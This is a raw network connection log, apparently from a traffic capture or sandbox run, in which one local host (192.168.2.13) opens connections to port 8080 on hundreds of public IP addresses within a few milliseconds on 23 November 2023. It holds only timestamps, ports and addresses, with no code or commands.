Nov 23, 2023 05:14:48.617803097 CET	54202	8080	192.168.2.13	95.124.189.167
Nov 23, 2023 05:14:48.617803097 CET	54202	8080	192.168.2.13	62.104.204.212
Nov 23, 2023 05:14:48.617803097 CET	54202	8080	192.168.2.13	31.19.189.126
Nov 23, 2023 05:14:48.617805958 CET	54202	8080	192.168.2.13	62.32.129.28
Nov 23, 2023 05:14:48.617806911 CET	54202	8080	192.168.2.13	31.149.148.109
Nov 23, 2023 05:14:48.617808104 CET	54202	8080	192.168.2.13	85.188.178.148
Nov 23, 2023 05:14:48.617808104 CET	54202	8080	192.168.2.13	94.170.27.216
Nov 23, 2023 05:14:48.617822886 CET	54202	8080	192.168.2.13	95.61.232.119
Nov 23, 2023 05:14:48.617822886 CET	54202	8080	192.168.2.13	85.195.32.186
Nov 23, 2023 05:14:48.617827892 CET	54202	8080	192.168.2.13	95.66.249.211
Nov 23, 2023 05:14:48.617832899 CET	54202	8080	192.168.2.13	95.238.12.68
Nov 23, 2023 05:14:48.617839098 CET	54202	8080	192.168.2.13	62.166.214.237
Nov 23, 2023 05:14:48.617839098 CET	54202	8080	192.168.2.13	85.58.47.103
Nov 23, 2023 05:14:48.617839098 CET	54202	8080	192.168.2.13	94.67.60.208
Nov 23, 2023 05:14:48.617855072 CET	54202	8080	192.168.2.13	62.251.86.252
Nov 23, 2023 05:14:48.617860079 CET	54202	8080	192.168.2.13	85.111.111.45
Nov 23, 2023 05:14:48.617860079 CET	54202	8080	192.168.2.13	95.242.62.109
Nov 23, 2023 05:14:48.617865086 CET	54202	8080	192.168.2.13	62.133.208.96
Nov 23, 2023 05:14:48.617872000 CET	54202	8080	192.168.2.13	94.223.87.120
Nov 23, 2023 05:14:48.617892981 CET	54202	8080	192.168.2.13	31.127.130.164
Nov 23, 2023 05:14:48.617894888 CET	54202	8080	192.168.2.13	85.244.49.177
Nov 23, 2023 05:14:48.617896080 CET	54202	8080	192.168.2.13	31.197.163.109
Nov 23, 2023 05:14:48.617897034 CET	54202	8080	192.168.2.13	95.55.8.241
Nov 23, 2023 05:14:48.617897034 CET	54202	8080	192.168.2.13	95.129.225.252
Nov 23, 2023 05:14:48.617898941 CET	54202	8080	192.168.2.13	85.66.48.71
Nov 23, 2023 05:14:48.617907047 CET	54202	8080	192.168.2.13	94.211.15.145
Nov 23, 2023 05:14:48.617907047 CET	54202	8080	192.168.2.13	95.192.141.193
Nov 23, 2023 05:14:48.617911100 CET	54202	8080	192.168.2.13	62.217.1.207
Nov 23, 2023 05:14:48.617912054 CET	54202	8080	192.168.2.13	95.197.8.215
Nov 23, 2023 05:14:48.617913008 CET	54202	8080	192.168.2.13	31.52.119.80
Nov 23, 2023 05:14:48.617917061 CET	54202	8080	192.168.2.13	31.204.25.159
Nov 23, 2023 05:14:48.617921114 CET	54202	8080	192.168.2.13	85.95.40.52
Nov 23, 2023 05:14:48.617921114 CET	54202	8080	192.168.2.13	62.185.118.5
Nov 23, 2023 05:14:48.617938042 CET	54202	8080	192.168.2.13	95.140.185.19
Nov 23, 2023 05:14:48.617944002 CET	54202	8080	192.168.2.13	62.230.135.20
Nov 23, 2023 05:14:48.617944956 CET	54202	8080	192.168.2.13	94.239.42.198
Nov 23, 2023 05:14:48.617948055 CET	54202	8080	192.168.2.13	94.233.180.193
Nov 23, 2023 05:14:48.617949009 CET	54202	8080	192.168.2.13	95.44.15.165
Nov 23, 2023 05:14:48.617959976 CET	54202	8080	192.168.2.13	94.114.206.40
Nov 23, 2023 05:14:48.617964029 CET	54202	8080	192.168.2.13	62.224.16.245
Nov 23, 2023 05:14:48.617969036 CET	54202	8080	192.168.2.13	62.226.153.225
Nov 23, 2023 05:14:48.617969036 CET	54202	8080	192.168.2.13	94.135.151.242
Nov 23, 2023 05:14:48.617971897 CET	54202	8080	192.168.2.13	95.210.137.238
Nov 23, 2023 05:14:48.617971897 CET	54202	8080	192.168.2.13	62.203.250.206
Nov 23, 2023 05:14:48.617973089 CET	54202	8080	192.168.2.13	85.152.154.164
Nov 23, 2023 05:14:48.617973089 CET	54202	8080	192.168.2.13	31.244.224.204
Nov 23, 2023 05:14:48.617984056 CET	54202	8080	192.168.2.13	94.83.7.148
Nov 23, 2023 05:14:48.617990017 CET	54202	8080	192.168.2.13	85.210.217.190
Nov 23, 2023 05:14:48.618000031 CET	54202	8080	192.168.2.13	62.48.99.151
Nov 23, 2023 05:14:48.618002892 CET	54202	8080	192.168.2.13	31.141.157.76
Nov 23, 2023 05:14:48.618002892 CET	54202	8080	192.168.2.13	95.238.112.237
Nov 23, 2023 05:14:48.618002892 CET	54202	8080	192.168.2.13	62.182.84.39
Nov 23, 2023 05:14:48.618004084 CET	54202	8080	192.168.2.13	95.226.8.82
Nov 23, 2023 05:14:48.618002892 CET	54202	8080	192.168.2.13	31.74.231.252
Nov 23, 2023 05:14:48.618020058 CET	54202	8080	192.168.2.13	31.9.125.47
Nov 23, 2023 05:14:48.618021965 CET	54202	8080	192.168.2.13	62.81.121.90
Nov 23, 2023 05:14:48.618022919 CET	54202	8080	192.168.2.13	94.93.78.49
Nov 23, 2023 05:14:48.618022919 CET	54202	8080	192.168.2.13	62.229.85.185
Nov 23, 2023 05:14:48.618036985 CET	54202	8080	192.168.2.13	85.197.44.122
Nov 23, 2023 05:14:48.618038893 CET	54202	8080	192.168.2.13	85.117.109.59
Nov 23, 2023 05:14:48.618041992 CET	54202	8080	192.168.2.13	62.147.121.164
Nov 23, 2023 05:14:48.618041992 CET	54202	8080	192.168.2.13	85.96.230.2
Nov 23, 2023 05:14:48.618041992 CET	54202	8080	192.168.2.13	94.104.154.24
Nov 23, 2023 05:14:48.618041992 CET	54202	8080	192.168.2.13	31.83.174.223
Nov 23, 2023 05:14:48.618052006 CET	54202	8080	192.168.2.13	85.39.77.23
Nov 23, 2023 05:14:48.618052006 CET	54202	8080	192.168.2.13	31.149.92.79
Nov 23, 2023 05:14:48.618052006 CET	54202	8080	192.168.2.13	95.102.132.18
Nov 23, 2023 05:14:48.618069887 CET	54202	8080	192.168.2.13	94.237.171.23
Nov 23, 2023 05:14:48.618069887 CET	54202	8080	192.168.2.13	94.215.254.59
Nov 23, 2023 05:14:48.618071079 CET	54202	8080	192.168.2.13	31.25.1.103
Nov 23, 2023 05:14:48.618078947 CET	54202	8080	192.168.2.13	62.176.146.163
Nov 23, 2023 05:14:48.618086100 CET	54202	8080	192.168.2.13	31.55.230.91
Nov 23, 2023 05:14:48.618088007 CET	54202	8080	192.168.2.13	85.61.44.253
Nov 23, 2023 05:14:48.618102074 CET	54202	8080	192.168.2.13	95.238.133.236
Nov 23, 2023 05:14:48.618102074 CET	54202	8080	192.168.2.13	94.30.202.160
Nov 23, 2023 05:14:48.618108034 CET	54202	8080	192.168.2.13	94.126.48.69
Nov 23, 2023 05:14:48.618108988 CET	54202	8080	192.168.2.13	85.117.100.45
Nov 23, 2023 05:14:48.618108988 CET	54202	8080	192.168.2.13	95.0.203.141
Nov 23, 2023 05:14:48.618110895 CET	54202	8080	192.168.2.13	94.95.29.89
Nov 23, 2023 05:14:48.618115902 CET	54202	8080	192.168.2.13	31.52.139.241
Nov 23, 2023 05:14:48.618115902 CET	54202	8080	192.168.2.13	62.93.124.254
Nov 23, 2023 05:14:48.618134975 CET	54202	8080	192.168.2.13	31.169.123.244
Nov 23, 2023 05:14:48.618140936 CET	54202	8080	192.168.2.13	94.128.101.190
Nov 23, 2023 05:14:48.618148088 CET	54202	8080	192.168.2.13	62.240.50.203
Nov 23, 2023 05:14:48.618150949 CET	54202	8080	192.168.2.13	95.48.49.153
Nov 23, 2023 05:14:48.618154049 CET	54202	8080	192.168.2.13	85.22.177.76
Nov 23, 2023 05:14:48.618155956 CET	54202	8080	192.168.2.13	94.154.154.89
Nov 23, 2023 05:14:48.618155956 CET	54202	8080	192.168.2.13	62.15.120.207
Nov 23, 2023 05:14:48.618168116 CET	54202	8080	192.168.2.13	94.164.30.130
Nov 23, 2023 05:14:48.618170023 CET	54202	8080	192.168.2.13	31.218.18.115
Nov 23, 2023 05:14:48.618174076 CET	54202	8080	192.168.2.13	85.252.155.126
Nov 23, 2023 05:14:48.618174076 CET	54202	8080	192.168.2.13	62.177.76.70
Nov 23, 2023 05:14:48.618177891 CET	54202	8080	192.168.2.13	94.64.98.97
Nov 23, 2023 05:14:48.618192911 CET	54202	8080	192.168.2.13	85.122.248.179
Nov 23, 2023 05:14:48.618192911 CET	54202	8080	192.168.2.13	94.227.197.48
Nov 23, 2023 05:14:48.618192911 CET	54202	8080	192.168.2.13	85.75.85.214
Nov 23, 2023 05:14:48.618195057 CET	54202	8080	192.168.2.13	95.181.207.234
Nov 23, 2023 05:14:48.618199110 CET	54202	8080	192.168.2.13	95.98.53.242
Nov 23, 2023 05:14:48.618200064 CET	54202	8080	192.168.2.13	85.243.150.33
Nov 23, 2023 05:14:48.618204117 CET	54202	8080	192.168.2.13	62.141.150.224
Nov 23, 2023 05:14:48.618206978 CET	54202	8080	192.168.2.13	85.166.182.131
Nov 23, 2023 05:14:48.618213892 CET	54202	8080	192.168.2.13	95.143.70.66
Nov 23, 2023 05:14:48.618213892 CET	54202	8080	192.168.2.13	62.117.216.239
Nov 23, 2023 05:14:48.618216991 CET	54202	8080	192.168.2.13	62.99.70.157
Nov 23, 2023 05:14:48.618227005 CET	54202	8080	192.168.2.13	85.23.142.97
Nov 23, 2023 05:14:48.618232012 CET	54202	8080	192.168.2.13	85.23.81.202
Nov 23, 2023 05:14:48.618235111 CET	54202	8080	192.168.2.13	94.120.132.171
Nov 23, 2023 05:14:48.618236065 CET	54202	8080	192.168.2.13	94.156.6.81
Nov 23, 2023 05:14:48.618237972 CET	54202	8080	192.168.2.13	62.83.241.185
Nov 23, 2023 05:14:48.618249893 CET	54202	8080	192.168.2.13	31.30.8.123
Nov 23, 2023 05:14:48.618249893 CET	54202	8080	192.168.2.13	85.237.50.87
Nov 23, 2023 05:14:48.618252039 CET	54202	8080	192.168.2.13	94.187.197.47
Nov 23, 2023 05:14:48.618259907 CET	54202	8080	192.168.2.13	62.44.255.137
Nov 23, 2023 05:14:48.618259907 CET	54202	8080	192.168.2.13	31.37.82.29
Nov 23, 2023 05:14:48.618279934 CET	54202	8080	192.168.2.13	85.154.150.210
Nov 23, 2023 05:14:48.618279934 CET	54202	8080	192.168.2.13	62.144.49.145
Nov 23, 2023 05:14:48.618279934 CET	54202	8080	192.168.2.13	31.147.185.26
Nov 23, 2023 05:14:48.618279934 CET	54202	8080	192.168.2.13	62.242.30.139
Nov 23, 2023 05:14:48.618297100 CET	54202	8080	192.168.2.13	85.30.81.196
Nov 23, 2023 05:14:48.618307114 CET	54202	8080	192.168.2.13	62.62.216.135
Nov 23, 2023 05:14:48.618307114 CET	54202	8080	192.168.2.13	95.38.157.222
Nov 23, 2023 05:14:48.618310928 CET	54202	8080	192.168.2.13	31.158.122.32
Nov 23, 2023 05:14:48.618310928 CET	54202	8080	192.168.2.13	85.154.188.253
Nov 23, 2023 05:14:48.618328094 CET	54202	8080	192.168.2.13	85.48.139.59
Nov 23, 2023 05:14:48.618328094 CET	54202	8080	192.168.2.13	95.154.26.78
Nov 23, 2023 05:14:48.618331909 CET	54202	8080	192.168.2.13	95.41.156.30
Nov 23, 2023 05:14:48.618331909 CET	54202	8080	192.168.2.13	62.93.205.120
Nov 23, 2023 05:14:48.618333101 CET	54202	8080	192.168.2.13	95.20.250.94
Nov 23, 2023 05:14:48.618335009 CET	54202	8080	192.168.2.13	31.41.36.217
Nov 23, 2023 05:14:48.618335009 CET	54202	8080	192.168.2.13	85.98.49.84
Nov 23, 2023 05:14:48.618338108 CET	54202	8080	192.168.2.13	95.1.236.219
Nov 23, 2023 05:14:48.618354082 CET	54202	8080	192.168.2.13	95.144.114.32
Nov 23, 2023 05:14:48.618360043 CET	54202	8080	192.168.2.13	95.253.125.253
Nov 23, 2023 05:14:48.618360043 CET	54202	8080	192.168.2.13	85.41.104.208
Nov 23, 2023 05:14:48.618370056 CET	54202	8080	192.168.2.13	95.133.174.98
Nov 23, 2023 05:14:48.618370056 CET	54202	8080	192.168.2.13	62.231.215.212
Nov 23, 2023 05:14:48.618385077 CET	54202	8080	192.168.2.13	95.176.157.234
Nov 23, 2023 05:14:48.618390083 CET	54202	8080	192.168.2.13	95.216.201.52
Nov 23, 2023 05:14:48.618390083 CET	54202	8080	192.168.2.13	94.57.7.46
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	94.205.198.203
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	94.127.157.209
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	95.68.236.234
Nov 23, 2023 05:14:48.618402004 CET	54202	8080	192.168.2.13	94.94.11.106
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	31.58.139.91
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	95.116.183.95
Nov 23, 2023 05:14:48.618401051 CET	54202	8080	192.168.2.13	85.149.131.23
Nov 23, 2023 05:14:48.618407011 CET	54202	8080	192.168.2.13	94.250.218.66
Nov 23, 2023 05:14:48.618407011 CET	54202	8080	192.168.2.13	31.187.47.233
Nov 23, 2023 05:14:48.618422031 CET	54202	8080	192.168.2.13	62.0.171.64
Nov 23, 2023 05:14:48.618422031 CET	54202	8080	192.168.2.13	95.84.138.132
Nov 23, 2023 05:14:48.618431091 CET	54202	8080	192.168.2.13	95.174.196.99
Nov 23, 2023 05:14:48.618431091 CET	54202	8080	192.168.2.13	31.47.86.45
Nov 23, 2023 05:14:48.618431091 CET	54202	8080	192.168.2.13	94.184.94.234
Nov 23, 2023 05:14:48.618438959 CET	54202	8080	192.168.2.13	95.240.208.116
Nov 23, 2023 05:14:48.618455887 CET	54202	8080	192.168.2.13	31.101.246.121
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	62.50.233.106
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	31.12.45.145
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	95.62.241.126
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	31.9.151.4
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	62.229.217.25
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	62.83.207.105
Nov 23, 2023 05:14:48.618458033 CET	54202	8080	192.168.2.13	85.112.141.75
Nov 23, 2023 05:14:48.618464947 CET	54202	8080	192.168.2.13	31.213.118.76
Nov 23, 2023 05:14:48.618465900 CET	54202	8080	192.168.2.13	31.46.217.253
Nov 23, 2023 05:14:48.618465900 CET	54202	8080	192.168.2.13	95.185.65.93
Nov 23, 2023 05:14:48.618480921 CET	54202	8080	192.168.2.13	31.119.196.11
Nov 23, 2023 05:14:48.618482113 CET	54202	8080	192.168.2.13	94.92.69.168
Nov 23, 2023 05:14:48.618482113 CET	54202	8080	192.168.2.13	31.75.195.246
Nov 23, 2023 05:14:48.618491888 CET	54202	8080	192.168.2.13	95.203.154.85
Nov 23, 2023 05:14:48.618501902 CET	54202	8080	192.168.2.13	62.28.239.54
Nov 23, 2023 05:14:48.618501902 CET	54202	8080	192.168.2.13	94.198.3.78
Nov 23, 2023 05:14:48.618518114 CET	54202	8080	192.168.2.13	85.167.11.25
Nov 23, 2023 05:14:48.618520021 CET	54202	8080	192.168.2.13	31.7.6.114
Nov 23, 2023 05:14:48.618520021 CET	54202	8080	192.168.2.13	95.249.188.202
Nov 23, 2023 05:14:48.618520021 CET	54202	8080	192.168.2.13	85.127.135.62
Nov 23, 2023 05:14:48.618520975 CET	54202	8080	192.168.2.13	62.214.75.189
Nov 23, 2023 05:14:48.618536949 CET	54202	8080	192.168.2.13	62.10.199.100
Nov 23, 2023 05:14:48.618536949 CET	54202	8080	192.168.2.13	85.61.78.86
Nov 23, 2023 05:14:48.618555069 CET	54202	8080	192.168.2.13	95.204.48.119
Nov 23, 2023 05:14:48.618556023 CET	54202	8080	192.168.2.13	85.0.79.114
Nov 23, 2023 05:14:48.618556023 CET	54202	8080	192.168.2.13	94.228.28.107
Nov 23, 2023 05:14:48.618558884 CET	54202	8080	192.168.2.13	95.94.160.44
Nov 23, 2023 05:14:48.618558884 CET	54202	8080	192.168.2.13	95.169.184.189
Nov 23, 2023 05:14:48.618571043 CET	54202	8080	192.168.2.13	95.70.193.135
Nov 23, 2023 05:14:48.618571043 CET	54202	8080	192.168.2.13	94.84.176.32
Nov 23, 2023 05:14:48.618577003 CET	54202	8080	192.168.2.13	31.68.126.174
Nov 23, 2023 05:14:48.618577003 CET	54202	8080	192.168.2.13	62.31.199.42
Nov 23, 2023 05:14:48.618577957 CET	54202	8080	192.168.2.13	94.186.183.112
Nov 23, 2023 05:14:48.618587971 CET	54202	8080	192.168.2.13	85.214.127.240
Nov 23, 2023 05:14:48.618591070 CET	54202	8080	192.168.2.13	94.255.121.221
Nov 23, 2023 05:14:48.618591070 CET	54202	8080	192.168.2.13	94.173.93.132
Nov 23, 2023 05:14:48.618594885 CET	54202	8080	192.168.2.13	31.153.77.149
Nov 23, 2023 05:14:48.618606091 CET	54202	8080	192.168.2.13	95.180.244.25
Nov 23, 2023 05:14:48.618612051 CET	54202	8080	192.168.2.13	95.19.205.195
Nov 23, 2023 05:14:48.618614912 CET	54202	8080	192.168.2.13	31.16.79.134
Nov 23, 2023 05:14:48.618614912 CET	54202	8080	192.168.2.13	85.187.10.31
Nov 23, 2023 05:14:48.618614912 CET	54202	8080	192.168.2.13	85.13.40.150
Nov 23, 2023 05:14:48.618618965 CET	54202	8080	192.168.2.13	85.190.10.1
Nov 23, 2023 05:14:48.618618965 CET	54202	8080	192.168.2.13	62.161.131.81
Nov 23, 2023 05:14:48.618633032 CET	54202	8080	192.168.2.13	85.163.109.197
Nov 23, 2023 05:14:48.618633986 CET	54202	8080	192.168.2.13	85.228.190.19
Nov 23, 2023 05:14:48.618643999 CET	54202	8080	192.168.2.13	94.229.105.77
Nov 23, 2023 05:14:48.618643999 CET	54202	8080	192.168.2.13	94.182.37.34
Nov 23, 2023 05:14:48.618650913 CET	54202	8080	192.168.2.13	62.8.250.13
Nov 23, 2023 05:14:48.618650913 CET	54202	8080	192.168.2.13	94.37.62.150
Nov 23, 2023 05:14:48.618650913 CET	54202	8080	192.168.2.13	85.218.94.28
Nov 23, 2023 05:14:48.618650913 CET	54202	8080	192.168.2.13	31.39.103.128
Nov 23, 2023 05:14:48.618650913 CET	54202	8080	192.168.2.13	62.125.183.164
Nov 23, 2023 05:14:48.618664980 CET	54202	8080	192.168.2.13	85.122.3.170
Nov 23, 2023 05:14:48.618669033 CET	54202	8080	192.168.2.13	94.147.195.101
Nov 23, 2023 05:14:48.618669033 CET	54202	8080	192.168.2.13	62.137.54.56
Nov 23, 2023 05:14:48.618669033 CET	54202	8080	192.168.2.13	31.153.52.218
Nov 23, 2023 05:14:48.618669033 CET	54202	8080	192.168.2.13	94.23.66.210
Nov 23, 2023 05:14:48.618671894 CET	54202	8080	192.168.2.13	85.83.101.204
Nov 23, 2023 05:14:48.618689060 CET	54202	8080	192.168.2.13	62.50.28.223
Nov 23, 2023 05:14:48.618689060 CET	54202	8080	192.168.2.13	62.221.49.161
Nov 23, 2023 05:14:48.618690014 CET	54202	8080	192.168.2.13	95.201.140.175
Nov 23, 2023 05:14:48.618690014 CET	54202	8080	192.168.2.13	94.7.224.139
Nov 23, 2023 05:14:48.618690014 CET	54202	8080	192.168.2.13	95.62.67.3
Nov 23, 2023 05:14:48.618725061 CET	54202	8080	192.168.2.13	94.35.15.128
Nov 23, 2023 05:14:48.618727922 CET	54202	8080	192.168.2.13	31.3.234.211
Nov 23, 2023 05:14:48.618730068 CET	54202	8080	192.168.2.13	31.34.147.0
Nov 23, 2023 05:14:48.618730068 CET	54202	8080	192.168.2.13	95.194.147.43
Nov 23, 2023 05:14:48.618731022 CET	54202	8080	192.168.2.13	62.94.45.35
Nov 23, 2023 05:14:48.618731976 CET	54202	8080	192.168.2.13	62.196.235.152
Nov 23, 2023 05:14:48.618740082 CET	54202	8080	192.168.2.13	95.143.48.171
Nov 23, 2023 05:14:48.618740082 CET	54202	8080	192.168.2.13	95.99.200.151
Nov 23, 2023 05:14:48.618741035 CET	54202	8080	192.168.2.13	85.207.3.65
Nov 23, 2023 05:14:48.618742943 CET	54202	8080	192.168.2.13	94.180.164.96
Nov 23, 2023 05:14:48.618756056 CET	54202	8080	192.168.2.13	94.227.178.205
Nov 23, 2023 05:14:48.618758917 CET	54202	8080	192.168.2.13	31.77.76.198
Nov 23, 2023 05:14:48.618768930 CET	54202	8080	192.168.2.13	62.166.5.60
Nov 23, 2023 05:14:48.618773937 CET	54202	8080	192.168.2.13	94.227.101.45
Nov 23, 2023 05:14:48.618776083 CET	54202	8080	192.168.2.13	62.95.139.155
Nov 23, 2023 05:14:48.618776083 CET	54202	8080	192.168.2.13	94.165.37.63
Nov 23, 2023 05:14:48.618777990 CET	54202	8080	192.168.2.13	31.42.26.112
Nov 23, 2023 05:14:48.618778944 CET	54202	8080	192.168.2.13	85.187.48.61
Nov 23, 2023 05:14:48.618777990 CET	54202	8080	192.168.2.13	94.45.164.201
Nov 23, 2023 05:14:48.618778944 CET	54202	8080	192.168.2.13	95.68.230.59
Nov 23, 2023 05:14:48.618777990 CET	54202	8080	192.168.2.13	85.77.151.226
Nov 23, 2023 05:14:48.618797064 CET	54202	8080	192.168.2.13	85.43.177.7
Nov 23, 2023 05:14:48.618797064 CET	54202	8080	192.168.2.13	62.147.159.52
Nov 23, 2023 05:14:48.618798018 CET	54202	8080	192.168.2.13	85.0.84.193
Nov 23, 2023 05:14:48.618798018 CET	54202	8080	192.168.2.13	95.19.213.65
Nov 23, 2023 05:14:48.618808031 CET	54202	8080	192.168.2.13	95.56.158.151
Nov 23, 2023 05:14:48.618817091 CET	54202	8080	192.168.2.13	31.37.58.176
Nov 23, 2023 05:14:48.618817091 CET	54202	8080	192.168.2.13	62.234.94.138
Nov 23, 2023 05:14:48.618819952 CET	54202	8080	192.168.2.13	31.179.66.138
Nov 23, 2023 05:14:48.618820906 CET	54202	8080	192.168.2.13	95.183.4.68
Nov 23, 2023 05:14:48.618820906 CET	54202	8080	192.168.2.13	31.143.27.85
Nov 23, 2023 05:14:48.618820906 CET	54202	8080	192.168.2.13	85.119.127.6
Nov 23, 2023 05:14:48.618830919 CET	54202	8080	192.168.2.13	94.74.97.33
Nov 23, 2023 05:14:48.618830919 CET	54202	8080	192.168.2.13	85.65.138.147
Nov 23, 2023 05:14:48.618837118 CET	54202	8080	192.168.2.13	31.109.254.200
Nov 23, 2023 05:14:48.618837118 CET	54202	8080	192.168.2.13	85.114.13.62
Nov 23, 2023 05:14:48.618855000 CET	54202	8080	192.168.2.13	85.222.194.126
Nov 23, 2023 05:14:48.618855953 CET	54202	8080	192.168.2.13	62.239.100.202
Nov 23, 2023 05:14:48.618855953 CET	54202	8080	192.168.2.13	85.183.68.250
Nov 23, 2023 05:14:48.618866920 CET	54202	8080	192.168.2.13	62.234.133.180
Nov 23, 2023 05:14:48.618870020 CET	54202	8080	192.168.2.13	94.86.73.13
Nov 23, 2023 05:14:48.618870020 CET	54202	8080	192.168.2.13	94.61.248.114
Nov 23, 2023 05:14:48.618870020 CET	54202	8080	192.168.2.13	62.131.175.237
Nov 23, 2023 05:14:48.618871927 CET	54202	8080	192.168.2.13	62.103.12.153
Nov 23, 2023 05:14:48.618872881 CET	54202	8080	192.168.2.13	31.21.210.123
Nov 23, 2023 05:14:48.618877888 CET	54202	8080	192.168.2.13	62.39.83.239
Nov 23, 2023 05:14:48.618885994 CET	54202	8080	192.168.2.13	95.175.161.230
Nov 23, 2023 05:14:48.618896961 CET	54202	8080	192.168.2.13	31.157.175.151
Nov 23, 2023 05:14:48.618897915 CET	54202	8080	192.168.2.13	31.134.223.44
Nov 23, 2023 05:14:48.618897915 CET	54202	8080	192.168.2.13	62.57.120.31
Nov 23, 2023 05:14:48.618900061 CET	54202	8080	192.168.2.13	31.200.8.70
Nov 23, 2023 05:14:48.618910074 CET	54202	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:48.618910074 CET	54202	8080	192.168.2.13	85.95.190.238
Nov 23, 2023 05:14:48.618916988 CET	54202	8080	192.168.2.13	62.186.15.78
Nov 23, 2023 05:14:48.618918896 CET	54202	8080	192.168.2.13	94.175.252.38
Nov 23, 2023 05:14:48.618927956 CET	54202	8080	192.168.2.13	62.141.126.93
Nov 23, 2023 05:14:48.618930101 CET	54202	8080	192.168.2.13	95.133.234.236
Nov 23, 2023 05:14:48.618930101 CET	54202	8080	192.168.2.13	85.179.238.34
Nov 23, 2023 05:14:48.618931055 CET	54202	8080	192.168.2.13	94.29.179.178
Nov 23, 2023 05:14:48.618946075 CET	54202	8080	192.168.2.13	95.119.11.183
Nov 23, 2023 05:14:48.618947983 CET	54202	8080	192.168.2.13	31.156.96.166
Nov 23, 2023 05:14:48.618947983 CET	54202	8080	192.168.2.13	31.123.90.87
Nov 23, 2023 05:14:48.618951082 CET	54202	8080	192.168.2.13	94.228.108.233
Nov 23, 2023 05:14:48.618968010 CET	54202	8080	192.168.2.13	62.150.15.135
Nov 23, 2023 05:14:48.618968964 CET	54202	8080	192.168.2.13	62.223.143.76
Nov 23, 2023 05:14:48.618969917 CET	54202	8080	192.168.2.13	95.208.47.115
Nov 23, 2023 05:14:48.618969917 CET	54202	8080	192.168.2.13	94.0.30.188
Nov 23, 2023 05:14:48.618969917 CET	54202	8080	192.168.2.13	95.210.141.36
Nov 23, 2023 05:14:48.618969917 CET	54202	8080	192.168.2.13	85.176.24.216
Nov 23, 2023 05:14:48.618980885 CET	54202	8080	192.168.2.13	94.213.160.118
Nov 23, 2023 05:14:48.618982077 CET	54202	8080	192.168.2.13	31.113.227.107
Nov 23, 2023 05:14:48.618983030 CET	54202	8080	192.168.2.13	31.83.128.214
Nov 23, 2023 05:14:48.618983984 CET	54202	8080	192.168.2.13	62.198.134.53
Nov 23, 2023 05:14:48.618983984 CET	54202	8080	192.168.2.13	94.230.251.184
Nov 23, 2023 05:14:48.618993998 CET	54202	8080	192.168.2.13	94.246.36.130
Nov 23, 2023 05:14:48.618994951 CET	54202	8080	192.168.2.13	94.124.101.126
Nov 23, 2023 05:14:48.618994951 CET	54202	8080	192.168.2.13	95.204.166.7
Nov 23, 2023 05:14:48.618999958 CET	54202	8080	192.168.2.13	95.107.180.135
Nov 23, 2023 05:14:48.619008064 CET	54202	8080	192.168.2.13	94.150.151.196
Nov 23, 2023 05:14:48.619009018 CET	54202	8080	192.168.2.13	85.116.125.217
Nov 23, 2023 05:14:48.619009018 CET	54202	8080	192.168.2.13	95.184.100.41
Nov 23, 2023 05:14:48.619009018 CET	54202	8080	192.168.2.13	95.223.205.104
Nov 23, 2023 05:14:48.619009972 CET	54202	8080	192.168.2.13	85.246.185.176
Nov 23, 2023 05:14:48.619024038 CET	54202	8080	192.168.2.13	85.85.138.199
Nov 23, 2023 05:14:48.619025946 CET	54202	8080	192.168.2.13	31.54.28.30
Nov 23, 2023 05:14:48.619029045 CET	54202	8080	192.168.2.13	85.94.150.66
Nov 23, 2023 05:14:48.619036913 CET	54202	8080	192.168.2.13	95.112.240.138
Nov 23, 2023 05:14:48.619049072 CET	54202	8080	192.168.2.13	95.133.170.27
Nov 23, 2023 05:14:48.619052887 CET	54202	8080	192.168.2.13	94.36.70.227
Nov 23, 2023 05:14:48.619052887 CET	54202	8080	192.168.2.13	62.220.184.210
Nov 23, 2023 05:14:48.619055986 CET	54202	8080	192.168.2.13	94.84.71.220
Nov 23, 2023 05:14:48.619056940 CET	54202	8080	192.168.2.13	62.96.16.97
Nov 23, 2023 05:14:48.619060040 CET	54202	8080	192.168.2.13	95.161.245.166
Nov 23, 2023 05:14:48.619060040 CET	54202	8080	192.168.2.13	62.183.245.207
Nov 23, 2023 05:14:48.619079113 CET	54202	8080	192.168.2.13	85.178.34.142
Nov 23, 2023 05:14:48.619079113 CET	54202	8080	192.168.2.13	31.233.86.174
Nov 23, 2023 05:14:48.619081020 CET	54202	8080	192.168.2.13	62.77.123.160
Nov 23, 2023 05:14:48.619081020 CET	54202	8080	192.168.2.13	95.148.172.254
Nov 23, 2023 05:14:48.619081974 CET	54202	8080	192.168.2.13	95.48.246.196
Nov 23, 2023 05:14:48.619080067 CET	54202	8080	192.168.2.13	95.13.112.164
Nov 23, 2023 05:14:48.619091988 CET	54202	8080	192.168.2.13	94.146.213.220
Nov 23, 2023 05:14:48.619091988 CET	54202	8080	192.168.2.13	85.21.57.5
Nov 23, 2023 05:14:48.619105101 CET	54202	8080	192.168.2.13	85.216.4.18
Nov 23, 2023 05:14:48.619110107 CET	54202	8080	192.168.2.13	85.165.184.64
Nov 23, 2023 05:14:48.619115114 CET	54202	8080	192.168.2.13	31.164.33.71
Nov 23, 2023 05:14:48.619116068 CET	54202	8080	192.168.2.13	31.11.136.119
Nov 23, 2023 05:14:48.619116068 CET	54202	8080	192.168.2.13	62.73.71.14
Nov 23, 2023 05:14:48.619119883 CET	54202	8080	192.168.2.13	62.89.88.157
Nov 23, 2023 05:14:48.619116068 CET	54202	8080	192.168.2.13	94.18.123.14
Nov 23, 2023 05:14:48.619129896 CET	54202	8080	192.168.2.13	62.42.180.26
Nov 23, 2023 05:14:48.619132996 CET	54202	8080	192.168.2.13	95.159.65.63
Nov 23, 2023 05:14:48.619132996 CET	54202	8080	192.168.2.13	62.63.193.130
Nov 23, 2023 05:14:48.619154930 CET	54202	8080	192.168.2.13	31.28.136.252
Nov 23, 2023 05:14:48.619154930 CET	54202	8080	192.168.2.13	31.20.45.220
